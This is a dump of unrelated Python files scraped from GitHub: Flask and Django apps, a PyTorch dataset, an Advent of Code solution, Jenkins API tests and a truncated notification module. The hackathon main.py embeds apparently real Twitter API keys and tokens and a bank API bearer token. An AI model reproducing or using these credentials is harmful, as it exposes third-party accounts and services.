attribute, value)\n\n new_tags = kwargs.get('tags')\n\n if new_tags:\n new_tags = set([tag['name'].lower() for tag in new_tags])\n\n old_tags = set([tag.name for tag in self.tags])\n\n record_data = dict(\n user = kwargs.get('user'),\n ip = kwargs.get('ip'),\n reason = kwargs.get('reason', ''),\n data = dict(\n title = old_title,\n content = old_content,\n is_active = old_status,\n tags = list(old_tags)\n )\n )\n\n has_change = False\n if old_content != self.content:\n has_change = True\n \n if new_tags is not None and old_tags != new_tags: \n has_change = True\n self.create_tags(new_tags)\n \n if old_title != self.title:\n has_change = True\n\n if old_status != self.is_active:\n has_change = True\n\n if has_change:\n self.record(**record_data)\n\n db_session.commit() \n\n @classmethod\n def cache_key(cls, id):\n return \":\".join([cls.__tablename__, str(id)])\n\n @classmethod\n def list(cls, **kwargs):\n json = kwargs.get('json', False)\n order_by = kwargs.get('order', 'date_created DESC')\n articles = cls.query.filter_by(is_active=kwargs.get('is_active')).order_by(order_by).limit(kwargs.get('limit', 10)).offset(kwargs.get('offset', 0)).all()\n\n if json:\n return [article.json_data() for article in articles]\n return articles\n\n\n \"\"\"\n Count the total number of article\n cache key: article_count:[is_active]\n cache data: int\n \"\"\"\n @classmethod\n def count(cls, is_active=True):\n return cls.query.filter_by(is_active=is_active).count()\n\n @classmethod\n def is_owner(cls, id, user_id):\n return cls.query.filter_by(id=id, user_id=user_id).count() == 1\n\n \"\"\"\n A convenient method for listing articles and do filtering based on the current user\n \"\"\"\n @classmethod\n def list_for_user(cls, **kwargs):\n user = kwargs.get('user')\n articles = cls.list(**kwargs)\n if user:\n articles = [user.check_article(article).json_data() for article in articles]\n else:\n articles = [article.json_data() for article in articles]\n\n return articles\n\n @classmethod\n def latest_comments(cls, limit=10, offset=0, json=False):\n comments = Comment.query.filter(Comment.article_id != None).order_by('date_created DESC').limit(limit).offset(offset).all()\n\n if json:\n return [comment.json_data() for comment in comments]\n\n return comments","repo_name":"tanqhnguyen/flask-demo","sub_path":"models/article.py","file_name":"article.py","file_ext":"py","file_size_in_byte":4959,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13301640086","text":"import torch\nfrom PIL import Image\nfrom torch.utils.data import Dataset, DataLoader\nimport numpy as np\n\nclass EMPSSR(Dataset):\n \"\"\"A PyTorch Dataset class for self-supervised learning\n on Electro-magnetic Microscopy Images.\n\n :param data_pth: Path object containing the absolute path to the target images\n :param transforms: Dictionary of transformations for the input and target images.\n\n The transforms for the inputs defines the self-supervised pre-text task.\n See get_selfplay_transforms() in utils.py for an example definition.\n \"\"\"\n\n def __init__(self, target_pth, transforms=None):\n self.target_img_filepaths = np.squeeze(target_pth).tolist()\n self.transforms = transforms\n self.c = int(str(transforms['y']).split()[1][-2])\n\n def __len__(self):\n return len(self.target_img_filepaths)\n\n def __getitem__(self, idx):\n# if torch.is_tensor(idx):\n# idx = idx.tolist()\n input_file = self.target_img_filepaths[idx].replace('hr', 'lr')\n target_file = self.target_img_filepaths[idx]\n x = Image.open(input_file)\n y = Image.open(target_file)\n if self.transforms:\n x = self.transforms['x'](x)\n y = self.transforms['y'](y)\n return x, y\n\nclass EMSelfPlay(Dataset):\n \"\"\"A PyTorch Dataset class for self-supervised learning \n on Electro-magnetic Microscopy Images.\n \n :param data_pth: Path object containing the absolute path to the target images\n :param transforms: Dictionary of transformations for the input and target images. \n \n The transforms for the inputs defines the self-supervised pre-text task.\n See get_selfplay_transforms() in utils.py for an example definition.\n \"\"\"\n\n def __init__(self, data_pth, transforms=None):\n self.img_filepaths = np.squeeze(data_pth).tolist()\n self.transforms = transforms\n \n def __len__(self):\n return len(self.img_filepaths)\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n img_name = self.img_filepaths[idx]\n y = Image.open(img_name)\n if self.transforms:\n x = self.transforms['x'](y)\n y = self.transforms['y'](y)\n else:\n x = y\n print('WARNING: no transforms applied to target images, are you sure about that bud?')\n return x, y\n\n\n","repo_name":"WAMRI-AI/salk-2020","sub_path":"lab/self-supervised/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2394,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"25076412932","text":"# 20xx/xx/p1.py\n\nimport itertools\nimport time\n\n\ndef parse_input(\n\t\tinfn):\n\twith open(infn, 'r') as f:\n\t\tdata = [str.strip(line) for line in f.readlines()]\n\n\tresult = []\n\n\twidth = len(data[0]) # data is assumed to be non-empty and rectangular\n\n\tblankColumnCounts = []\n\tblankColumnCount = 0\n\n\tfor x in range(width):\n\t\tblankColumn = True\n\n\t\tfor line in data:\n\t\t\tblankColumn = blankColumn and line[x] != '#'\n\n\t\tif blankColumn:\n\t\t\tblankColumnCount = blankColumnCount + 1\n\n\t\tblankColumnCounts.append(blankColumnCount)\n\n\n\tblankRowCount = 0\n\tfor y, line in enumerate(data):\n\t\tblankRow = True\n\n\t\tfor x, c in enumerate(line):\n\t\t\tblankRow = blankRow and c != '#'\n\n\t\t\tif c == '#':\n\t\t\t\tresult.append((x, y, blankColumnCounts[x], blankRowCount))\n\n\t\tif blankRow:\n\t\t\tblankRowCount = blankRowCount + 1\n\n\treturn result\n\n\ndef execute(\n\t\tinfn,\n\t\texpansion_factor):\n\tdata = parse_input(infn)\n\n\tpairs = itertools.combinations(data, 2)\n\n\texpansion_factor = expansion_factor - 1\n\ttotal_distance = 0\n\n\tfor a, b in pairs:\n\t\ta_x, a_y, a_extra_x, a_extra_y = a\n\t\tb_x, b_y, b_extra_x, b_extra_y = b\n\n\t\ta_x_total = a_x + (a_extra_x * expansion_factor)\n\t\ta_y_total = a_y + (a_extra_y * expansion_factor)\n\n\t\tb_x_total = b_x + (b_extra_x * expansion_factor)\n\t\tb_y_total = b_y + (b_extra_y * expansion_factor)\n\n\t\tdelta_x = max(a_x_total, b_x_total) - min(a_x_total, b_x_total)\n\t\tdelta_y = max(a_y_total, b_y_total) - min(a_y_total, b_y_total)\n\n\t\ttotal_distance += (delta_x + delta_y)\n\n\treturn total_distance\n\n\ndef main(\n\t\tinfn,\n\t\texpansion_factor):\n\tpre = time.perf_counter()\n\n\tresult = execute(infn, expansion_factor)\n\n\tpost = time.perf_counter()\n\n\tprint(result, 'in', '{:.2f}'.format((post - pre) * 1000), 'ms')\n\n\nif __name__ == '__main__':\n\tmain('input.txt', 2)\n","repo_name":"andrew-hardwick/advent-of-code","sub_path":"2023/11/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23968875369","text":"import os\nimport sys\nimport time\nimport json\nimport traceback\nimport requests\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'ducatus_voucher.settings')\nimport django\n\ndjango.setup()\n\nfrom django.utils import timezone\n\nfrom ducatus_voucher.vouchers.models import FreezingVoucher, VoucherInput\nfrom ducatus_voucher.staking.models import Deposit, DepositInput\nfrom ducatus_voucher.settings import INPUTS_CHECKER_TIMEOUT\n\nDUC_API_URL = 'https://ducapi.rocknblock.io/api/DUC/mainnet/address/{duc_address}'\n\n\nclass DucApiError(Exception):\n pass\n\n\ndef voucher_inputs_checker():\n vouchers_to_withdraw = FreezingVoucher.objects.filter(cltv_details__withdrawn=False)\n\n if not vouchers_to_withdraw:\n print('all vouchers have withdrawn at {}'.format(timezone.now()), flush=True)\n\n for voucher in vouchers_to_withdraw:\n lock_address = voucher.cltv_details.locked_duc_address\n\n try:\n tx_inputs = json.loads(requests.get(DUC_API_URL.format(duc_address=lock_address)).content.decode())\n except Exception as e:\n print('\\n'.join(traceback.format_exception(*sys.exc_info())), flush=True)\n continue\n\n for tx_input in tx_inputs:\n mint_tx_hash = tx_input['mintTxid']\n spent_tx_hash = tx_input['spentTxid']\n try:\n voucher_input = VoucherInput.objects.get(mint_tx_hash=mint_tx_hash)\n if not voucher_input.spent_tx_hash and spent_tx_hash:\n voucher_input.spent_tx_hash = spent_tx_hash\n voucher_input.spent_at = timezone.now()\n except VoucherInput.DoesNotExist:\n voucher_input = VoucherInput()\n voucher_input.voucher = voucher\n voucher_input.mint_tx_hash = mint_tx_hash\n voucher_input.tx_vout = tx_input['mintIndex']\n voucher_input.amount = tx_input['value']\n if spent_tx_hash:\n voucher_input.spent_tx_hash = spent_tx_hash\n voucher_input.spent_at = timezone.now()\n\n voucher_input.save()\n\n\ndef deposit_inputs_checker():\n deposits_to_withdraw = Deposit.objects.filter(cltv_details__withdrawn=False)\n\n if not deposits_to_withdraw:\n print('all deposits have withdrawn at {}'.format(timezone.now()), flush=True)\n\n for deposit in deposits_to_withdraw:\n lock_address = deposit.cltv_details.locked_duc_address\n\n try:\n tx_inputs = json.loads(requests.get(DUC_API_URL.format(duc_address=lock_address)).content.decode())\n except Exception as e:\n print('\\n'.join(traceback.format_exception(*sys.exc_info())), flush=True)\n continue\n\n for tx_input in tx_inputs:\n mint_tx_hash = tx_input['mintTxid']\n spent_tx_hash = tx_input['spentTxid']\n try:\n deposit_input = DepositInput.objects.get(mint_tx_hash=mint_tx_hash)\n if not deposit_input.spent_tx_hash and spent_tx_hash:\n deposit_input.spent_tx_hash = spent_tx_hash\n deposit_input.spent_at = timezone.now()\n except DepositInput.DoesNotExist:\n deposit_input = DepositInput()\n deposit_input.deposit = deposit\n deposit_input.mint_tx_hash = mint_tx_hash\n deposit_input.tx_vout = tx_input['mintIndex']\n deposit_input.amount = tx_input['value']\n if spent_tx_hash:\n deposit_input.spent_tx_hash = spent_tx_hash\n deposit_input.spent_at = timezone.now()\n\n deposit_input.save()\n\n\nif __name__ == '__main__':\n while True:\n print('\\ndeposits checking at {}'.format(timezone.now()), flush=True)\n deposit_inputs_checker()\n print('\\nvouchers checking at {}'.format(timezone.now()), flush=True)\n voucher_inputs_checker()\n time.sleep(INPUTS_CHECKER_TIMEOUT)\n","repo_name":"DucatusX/ducatus_voucher_backend","sub_path":"inputs_checker.py","file_name":"inputs_checker.py","file_ext":"py","file_size_in_byte":3945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33469328604","text":"from flask import Flask, render_template, make_response, request, redirect\n\nimport pickle\nimport pandas as pd\nimport numpy as np\nimport requests\nimport json\nfrom pandas.io.json import json_normalize\nimport datetime\nfrom random import randint\nimport warnings\nwarnings.filterwarnings('ignore')\nfrom fbprophet import Prophet\nimport time\nimport tweepy\nimport nltk\nimport re\nimport random\nimport os\nimport sys\nfrom sklearn.datasets import load_files\nnltk.download('stopwords')\nfrom snowballstemmer import stemmer\n\napp = Flask(__name__)\n\n##############################################\n\n\ndef Twitter(username=\"kuveytturk\"):\n with open('turkce-stop-words.txt', encoding='latin') as file:\n stw = file.read()\n stw = stw.split()\n stw = [s.lower() for s in stw]\n stop = stw\n\n # Modellerin İçeri Alınması\n kokbul1 = stemmer('turkish')\n filename = 'model.sav'\n filenamev2 = 'vectorizer.sav'\n loaded_model = pickle.load(open(filename, 'rb'))\n loaded_vectorizer = pickle.load(open(filenamev2, 'rb'))\n\n def preprocessing(text):\n text = text.lower()\n # get rid of non-alphanumerical characters\n text = re.sub(r'\\W', ' ', text)\n # get rid of spaces\n text = re.sub(r'\\s+', ' ', text)\n # Correct mistakes\n # and do the stemming\n return \" \".join([word for word in kokbul1.stemWords(text.split()) if word not in stop])\n\n def predicting(x):\n test_sample = []\n for i in range(len(x)):\n test_sample.append(preprocessing(x[i]))\n sample = loaded_vectorizer.transform(test_sample).toarray()\n result = loaded_model.predict(sample)\n return result\n\n def Graph(result):\n labels = ['Olumsuz', 'Nötr', 'Olumlu']\n sizes = [(result == 0).sum(), (result == 1).sum(), (result == 2).sum()]\n colors = ['Red', 'gold', 'yellowgreen']\n patches, texts = plt.pie(sizes, colors=colors, shadow=True, startangle=90)\n plt.legend(patches, labels, loc=\"best\")\n plt.axis('equal')\n plt.tight_layout()\n return plt\n\n def GetTweets(username):\n # Twitter API Settings\n auth = tweepy.OAuthHandler(\"b31NqruIj0m3D6mzOk4glEfz7\", \"yAku57PMlQ9V6MVxUrrzkGxI4izrwGCzvI8Q5OwPwyFeLCR0oT\")\n auth.set_access_token(\"352938901-hH3mCRnw7ir8acB7oFQwfsu9gaboZeu20Hbm2jWi\", \"t2vYixvZemUibVI95QuapcqwEUCITki7xWFK6DjLTvGce\")\n api = tweepy.API(auth)\n\n # Get Tweets\n tweets = []\n fetched_tweets = api.user_timeline(screen_name=username, count=100, include_rts=True)\n\n for tweet in fetched_tweets:\n tweets.append(preprocessing(tweet.text))\n\n sentiment = {'olumsuz': 0, 'notr': 1, 'olumlu': 2}\n sentimentters = {0: 'Olumsuz', 1: 'Notr', 2: 'Olumlu'}\n inv_sentiment = {v: k for k, v in sentiment.items()}\n\n result = predicting(tweets)\n\n sentimentters = {0: 'Olumsuz', 1: 'Notr', 2: 'Olumlu'}\n x, y, c = [], [], []\n\n x = list(pd.DataFrame(result)[0].map(sentimentters).value_counts().values)\n y = list(pd.DataFrame(result)[0].map(sentimentters).value_counts().index)\n c = pd.DataFrame(x, y, columns=[0]).T\n return c\n c = GetTweets(username)\n return c\n##############################################\n\n\ndef groupprediction(x):\n kmeans = pickle.load(open('kmeans.sav', 'rb'))\n x = np.array(x)\n x = x.reshape(1, -1)\n return kmeans.predict(x)\n\n\ndef GetData(cardnumber):\n API_ENDPOINT = \"https://apitest.kuveytturk.com.tr/prep/v1/cards/carddetail\"\n headers = {\n 'Content-Type': \"application/json\",\n 'Authorization': \"Bearer 54602e2f2b5264496a4d103c2444f69621484fdbbc23e4e7e6f46cbf01c27172 \"\n }\n # data to be sent to api\n data = {\n \"request\": {\n \"cardnumber\": str(cardnumber)\n }\n }\n data = json.dumps(data)\n # sending post request and saving response as response object\n r = requests.post(url=API_ENDPOINT, headers=headers, data=data)\n pastebin_url = r.text\n pastebin_url = pastebin_url[9:-51]\n return json.loads(pastebin_url)\n\n\ndef test():\n global newcustomer\n if pd.DataFrame.from_dict(json_normalize(newcustomer), orient='columns')[[\"CardProductCode\", \"IsIntermTransactions\"]].values[0][1] == True:\n return 1\n else:\n return 0\n\n\ndef labelencoder(newcustomer):\n labelencoder = pickle.load(open('labelencoder.sav', 'rb'))\n x = [pd.DataFrame.from_dict(json_normalize(newcustomer), orient='columns')[[\"CardProductCode\", \"IsIntermTransactions\"]].values[0][0]]\n return labelencoder.transform(x)\n\n\ndef GetGroup(newcustomer, cardnumber):\n print(cardnumber)\n sube = [190, 181, 31, 31, 26, 25, 24, 23, 22, 21]\n if cardnumber == \"4025900213283250\":\n array = np.array([labelencoder(newcustomer), 15, test()])\n elif cardnumber == \"4025900288779450\":\n array = np.array([labelencoder(newcustomer), 114, test()])\n elif cardnumber == \"4025900418055430\":\n array = np.array([labelencoder(newcustomer), 219, test()])\n elif cardnumber == \"4025900517881690\":\n array = np.array([labelencoder(newcustomer), 292, test()])\n else:\n array = np.array([labelencoder(newcustomer), sube[randint(0, len(sube) - 1)], test()])\n return groupprediction(array)\n\n\ndef dataMonth(data):\n data = data.resample(\"M\").sum()\n data[\"Date\"] = data.index\n data.index = range(0, len(data))\n return data\n\n\ndef Fitting(df):\n my_model = Prophet()\n my_model.fit(df)\n\n future_dates = my_model.make_future_dataframe(periods=3, freq=\"M\")\n forecast = my_model.predict(future_dates)\n\n forecastnew = forecast['ds']\n forecastnew2 = forecast['yhat']\n forecastnew = pd.concat([forecastnew, forecastnew2], axis=1)\n forecastnew = forecastnew[len(forecastnew) - 3:]\n return forecastnew\n\n\ndef TimeSeries(datapath):\n datax = pd.read_excel(datapath, date_parser=[0])\n dataAlisveris = datax[datax.Hizmet == \"Alışveriş\"].copy()\n dataAlisveris.drop([\"CardNumber\", \"Hizmet\"], axis=1, inplace=True)\n dataAlisveris.set_index(\"Date\", inplace=True)\n dataYemek = datax[datax.Hizmet == \"Yemek\"][[\"Date\", \"Prices\"]].copy()\n dataYemek.set_index(\"Date\", inplace=True)\n dataGiyim = datax[datax.Hizmet == \"Giyim\"][[\"Date\", \"Prices\"]].copy()\n dataGiyim.set_index(\"Date\", inplace=True)\n dataFatura = datax[datax.Hizmet == \"Fatura\"][[\"Date\", \"Prices\"]].copy()\n dataFatura.set_index(\"Date\", inplace=True)\n dataHizmet = datax[datax.Hizmet == \"Hizmet\"][[\"Date\", \"Prices\"]].copy()\n dataHizmet.set_index(\"Date\", inplace=True)\n dataAlisveris = dataMonth(dataAlisveris)\n dataYemek = dataMonth(dataYemek)\n dataGiyim = dataMonth(dataGiyim)\n dataFatura = dataMonth(dataFatura)\n dataHizmet = dataMonth(dataHizmet)\n dfAlisveris = dataAlisveris.rename(columns={'Date': 'ds', 'Prices': 'y'})\n dfYemek = dataYemek.rename(columns={'Date': 'ds', 'Prices': 'y'})\n dfGiyim = dataGiyim.rename(columns={'Date': 'ds', 'Prices': 'y'})\n dfFatura = dataFatura.rename(columns={'Date': 'ds', 'Prices': 'y'})\n dfHizmet = dataHizmet.rename(columns={'Date': 'ds', 'Prices': 'y'})\n dfAlisveris = Fitting(dfAlisveris)\n dfYemek = Fitting(dfYemek)\n dfGiyim = Fitting(dfGiyim)\n dfFatura = Fitting(dfFatura)\n dfHizmet = Fitting(dfHizmet)\n return dataYemek, dataGiyim, dataFatura, dataHizmet, dataAlisveris, dfYemek, dfGiyim, dfFatura, dfHizmet, dfAlisveris\n\n\n@app.route('/')\ndef entry_page()->'html':\n return render_template('search.html')\n\n\n@app.route('/', methods=['POST'])\ndef twitter_page()->'html':\n global newcustomer\n clientId = request.form[\"customerid\"]\n if clientId != '4025900418055430':\n return render_template('search.html')\n else:\n temp = make_response(redirect('/twitter'))\n temp.set_cookie(\"clientId\", str(clientId))\n return temp\n\n\n@app.route('/twitter')\ndef twitter_login_page()->'html':\n return render_template('twitter.html')\n\n\n@app.route('/ana-sayfaya-git')\ndef main_page()->'html':\n return redirect('/')\n\n\n@app.route('/twitter', methods=['POST', 'GET'])\ndef twitter_login_post_page()->'html':\n if request.form.get('cancel') == 'cancel':\n return redirect('/')\n else:\n return redirect('/kuveytturk')\n\n\n@app.route('/kuveytturk', methods=['GET', 'POST'])\ndef kuveytturk_page()->'html':\n clientId = request.cookies.get('clientId')\n global newcustomer\n newcustomer = GetData(cardnumber=str(clientId))\n group_info = GetGroup(newcustomer, str(clientId))\n random_file = str(random.randint(2, 5))\n dataYemek, dataGiyim, dataFatura, dataHizmet, dataAlisveris, dfYemek, dfGiyim, dfFatura, dfHizmet, dfAlisveris = TimeSeries(\"number\" + random_file + \".xlsx\")\n real_food_dict = dataYemek.to_dict()\n predict_food_dict = dfYemek.to_dict()\n real_cloth_dict = dataGiyim.to_dict()\n predict_cloth_dict = dfGiyim.to_dict()\n real_bill_dict = dataFatura.to_dict()\n predict_bill_dict = dfFatura.to_dict()\n real_service_dict = dataHizmet.to_dict()\n predict_service_dict = dfHizmet.to_dict()\n real_shop_dict = dataAlisveris.to_dict()\n predict_shop_dict = dfAlisveris.to_dict()\n\n def degerlendir(Group, path):\n if path == \"number2.xlsx\" and Group == np.array([0]):\n return [\"Yemek-Dominos.png\", \"Alisveris-Trendyol.png\", \"Fatura-İski.png\"]\n elif path == \"number2.xlsx\" and Group == np.array([3]):\n return [\"Yiyecek-Starbucks.png\", \"Alışveriş-Macrocenter.png\", \"Fatura-CKElektrik.png\"]\n elif path == \"number2.xlsx\" and Group == np.array([2]):\n return [\"Yiyecek-Arbys.png\", \"Alışveriş-A101.png\", \"Fatura-İski.png\"]\n elif path == \"number2.xlsx\" and Group == np.array([1]):\n return [\"Yemek-Erikli.png\", \"Alışveriş-A101.png\", \"Fatura-İski.png\"]\n elif path == \"number3.xlsx\" and Group == np.array([0]):\n return [\"Alışveriş-A101.png\", \"Giyim-Levis.png\", \"Hizmetler-Cinemaximum.png\"]\n elif path == \"number3.xlsx\" and Group == np.array([3]):\n return [\"Alışveriş-Macrocenter.png\", \"Giyim-Polo.png\", \"Hizmet-PO.png\"]\n elif path == \"number3.xlsx\" and Group == np.array([2]):\n return [\"Alışveriş-Migros.png\", \"Giyim-Levis.png\", \"Hizmet-MNG.png\"]\n elif path == \"number3.xlsx\" and Group == np.array([1]):\n return [\"Alışveriş-A101.png\", \"Giyim-LCWaikiki.png\", \"Hizmet-MNG.png\"]\n elif path == \"number4.xlsx\" and Group == np.array([0]):\n return [\"Alışveriş-Migros.png\", \"Giyim-Polo.png\", \"Hizmetler-Pegasus.png\"]\n elif path == \"number4.xlsx\" and Group == np.array([3]):\n return [\"Alışveriş-Macrocenter.png\", \"Giyim-Polo.png\", \"Hizmetler-THY.png\"]\n elif path == \"number4.xlsx\" and Group == np.array([2]):\n return [\"Hizmetler-Cinemaximum.png\", \"Giyim-Hotiç.png\", \"Hizmet-MNG.png\"]\n elif path == \"number4.xlsx\" and Group == np.array([1]):\n return [\"Alışveriş-A101.png\", \"Giyim-LCWaikiki.png\", \"Hizmet-MNG.png\"]\n elif path == \"number5.xlsx\" and Group == np.array([0]):\n return [\"Alışveriş-Migros.png\", \"Giyim-Polo.png\", \"Hizmetler-Pegasus.png\"]\n elif path == \"number5.xlsx\" and Group == np.array([3]):\n return [\"Alışveriş-Macrocenter.png\", \"Giyim-Polo.png\", \"Hizmetler-THY.png\"]\n elif path == \"number5.xlsx\" and Group == np.array([2]):\n return [\"Hizmetler-Cinemaximum.png\", \"Giyim-Hotiç.png\", \"Hizmet-MNG.png\"]\n elif path == \"number5.xlsx\" and Group == np.array([1]):\n return [\"Alışveriş-A101.png\", \"Giyim-LCWaikiki.png\", \"Hizmet-MNG.png\"]\n\n def TwitterEnCok(twitterdata):\n return twitterdata.columns[list(twitterdata.iloc[0]).index(sorted(twitterdata.iloc[0])[-2])]\n\n if TwitterEnCok(Twitter(\"nuhuzmert\")) == 'Olumsuz':\n ozel_indirim = True\n else:\n ozel_indirim = False\n\n return render_template('index.html',\n gercek_yemek_tarih=list(map(lambda x: str(x)[0:10], real_food_dict['Date'].values())),\n gercek_yemek_deger=list(real_food_dict['Prices'].values()),\n tahmin_yemek_tarih=list(map(lambda x: str(x)[0:10], predict_food_dict['ds'].values())),\n tahmin_yemek_deger=list(predict_food_dict['yhat'].values()),\n gercek_giyim_tarih=list(map(lambda x: str(x)[0:10], real_cloth_dict['Date'].values())),\n gercek_giyim_deger=list(real_cloth_dict['Prices'].values()),\n tahmin_giyim_tarih=list(map(lambda x: str(x)[0:10], predict_cloth_dict['ds'].values())),\n tahmin_giyim_deger=list(predict_cloth_dict['yhat'].values()),\n gercek_fatura_tarih=list(map(lambda x: str(x)[0:10], real_bill_dict['Date'].values())),\n gercek_fatura_deger=list(real_bill_dict['Prices'].values()),\n tahmin_fatura_tarih=list(map(lambda x: str(x)[0:10], predict_bill_dict['ds'].values())),\n tahmin_fatura_deger=list(predict_bill_dict['yhat'].values()),\n gercek_hizmet_tarih=list(map(lambda x: str(x)[0:10], real_service_dict['Date'].values())),\n gercek_hizmet_deger=list(real_service_dict['Prices'].values()),\n tahmin_hizmet_tarih=list(map(lambda x: str(x)[0:10], predict_service_dict['ds'].values())),\n tahmin_hizmet_deger=list(predict_service_dict['yhat'].values()),\n gercek_alisveris_tarih=list(map(lambda x: str(x)[0:10], real_shop_dict['Date'].values())),\n gercek_alisveris_deger=list(real_shop_dict['Prices'].values()),\n tahmin_alisveris_tarih=list(map(lambda x: str(x)[0:10], predict_shop_dict['ds'].values())),\n tahmin_alisveris_deger=list(predict_shop_dict['yhat'].values()),\n resimler=degerlendir(group_info, \"number\" + random_file + \".xlsx\"),\n ozelindirim=ozel_indirim\n )\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', debug=True, port=37000)\n","repo_name":"MertNuhuz/Kave-KuveytTurkHackathon2019","sub_path":"UI/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40648782515","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter.filedialog import askopenfilename\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\n\n\ndef open_file():\n global df\n path = askopenfilename(initialdir=\"Desktop\",\n title=\"Select A File\",\n filetypes=((\"xlsx files\", \"*.xlsx\"),('text files','*.csv')))\n df= pd.read_excel(path)\n print(df.columns)\n\ndef plot_graph():\n print(df.shape)\n # fig , ax = plt.subplots()\n process()\n fig = sales_plot_axis.get_figure()\n plt.rcParams[\"figure.autolayout\"] = True\n canvas_plot = FigureCanvasTkAgg(fig, my_graph_pane)\n canvas_plot.get_tk_widget().pack(side=tk.LEFT, fill=tk.BOTH)\n plt.xticks(rotation=360)\n # ax.plot('Category','Sales',data=df)\n # \n\n # ax.add_child_axes(sales_plot)\n # ax.set_axis_off()\n # ax.autoscale_view()\ndef process():\n global sales_plot_axis\n df_any_one_year = df[df['Order Date'].dt.year == 2018]\n sales_of_2018_with_quarters = df_any_one_year.groupby([df_any_one_year['Order Date'].dt.quarter, 'Category']).aggregate({'Sales':sum})\n sales_plot_axis = sales_of_2018_with_quarters.unstack(-2).plot(kind='bar',figsize=(10,6),title='Sales of all Quarter in 2018')\n # plt.show()\n plt.rcParams[\"figure.autolayout\"] = True\n print('year selected is ',df_any_one_year['Order Date'].dt.year.unique())\nroot = tk.Tk()\n \nfile_button = ttk.Button(root,command=open_file,text='open file')\nfile_button.pack()\n\nplot_button = ttk.Button(root,command=plot_graph,text='plot graph')\nplot_button.pack()\n\nmy_graph_pane = ttk.Frame()\nmy_graph_pane.pack()\n\n\nroot.mainloop()","repo_name":"Mazhar-Aces/my_practice","sub_path":"axesTest.py","file_name":"axesTest.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42176683817","text":"import pygame, sys\r\nimport gameSetting\r\nfrom pyfiles.Button import Button\r\n\r\nclass MainMenu:\r\n IMAGE_PATH = \"images/\"\r\n # no args needed\r\n def __init__(self, window, args):\r\n self.window = window\r\n self.loadImage()\r\n\r\n\r\n def mainloop(self):\r\n clock = pygame.time.Clock()\r\n while True:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n \r\n # draw on screen\r\n self.window.blit(self.bg_img, (0, 0))\r\n self.start_button.displayUpdate()\r\n if (self.start_button.OnMouseUp()):\r\n return \"choose level\", None # page name to be opened next and args to be passed to\r\n\r\n pygame.display.update()\r\n clock.tick(gameSetting.FPS)\r\n\r\n\r\n def loadImage(self):\r\n self.bg_img = pygame.image.load(self.IMAGE_PATH + \"mainpage_bg.png\")\r\n button_img = self.IMAGE_PATH + \"start_button.png\"\r\n button_hover_img = self.IMAGE_PATH + \"start_button_hover.png\"\r\n button_pos = (350, 320)\r\n self.start_button = Button(self.window, button_img, button_pos, onHover=button_hover_img, onClick=\"smaller\")","repo_name":"GraceFu/Rescoding","sub_path":"Rescoding/pyfiles/MainMenu.py","file_name":"MainMenu.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"35864797751","text":"import re\n\nimport responses\n\nfrom tests import JENKINS_INFO_JSON\n\nJENKINS_VIEW_CONFIG_XML = \"\"\"\n\n\n my_view\n false\n false\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n false\n\n\"\"\"\n\n\n@responses.activate\ndef test_get(client):\n responses.add(\n responses.GET,\n re.compile(r'.*/api/json'),\n body=JENKINS_INFO_JSON,\n )\n\n response = client.views.get()\n assert len(response) == 3\n assert 'my_view' in response\n\n\n@responses.activate\ndef test_is_exists(client):\n responses.add(\n responses.GET,\n re.compile(r'.*/api/json'),\n body=JENKINS_INFO_JSON,\n )\n\n assert client.views.is_exists('extra') is False\n\n\n@responses.activate\ndef test_get_config(client):\n responses.add(\n responses.GET,\n re.compile(r'.*/view/.+/config.xml'),\n content_type='application/xml',\n body=JENKINS_VIEW_CONFIG_XML,\n )\n\n config = client.views.get_config('buildbot')\n assert 'my_view' in config\n\n\n@responses.activate\ndef test_create(client):\n responses.add(\n responses.GET,\n re.compile(r'.*/api/json'),\n body=JENKINS_INFO_JSON,\n )\n\n responses.add(\n responses.POST,\n re.compile(r'.*/createView'),\n )\n\n assert client.views.create('new_view', JENKINS_VIEW_CONFIG_XML) is None\n assert len(responses.calls) == 2\n\n\n@responses.activate\ndef test_reconfigure(client):\n responses.add(\n responses.POST,\n re.compile(r'.*/view/.+/config.xml'),\n )\n\n assert client.views.reconfigure('new_view', JENKINS_VIEW_CONFIG_XML) is None\n\n\n@responses.activate\ndef test_delete(client):\n responses.add(\n responses.POST,\n re.compile(r'.*/view/.+/doDelete'),\n )\n\n assert client.views.delete('new_view') is None\n","repo_name":"pbelskiy/ujenkins","sub_path":"tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"25176459415","text":"'''\nModule of Linux API for plyer.notification.\n'''\n\nimport warnings\nimport subprocess\nfrom plyer.facades import Notification\nfrom plyer.utils import whereis_exe\nimport os\n\n\nclass NotifyDesktopPortals(Notification):\n '''\n Implementation of xdg-desktop-portals API.\n '''\n\n def _notify(self, **kwargs):\n title = kwargs.get(\"title\", \"title\")\n body = kwargs.get(\"message\", \"body\")\n\n subprocess.run([\n \"gdbus\", \"call\", \"--session\", \"--dest\",\n \"org.freedesktop.portal.Desktop\",\n \"--object-path\", \"/org/freedesktop/portal/desktop\", 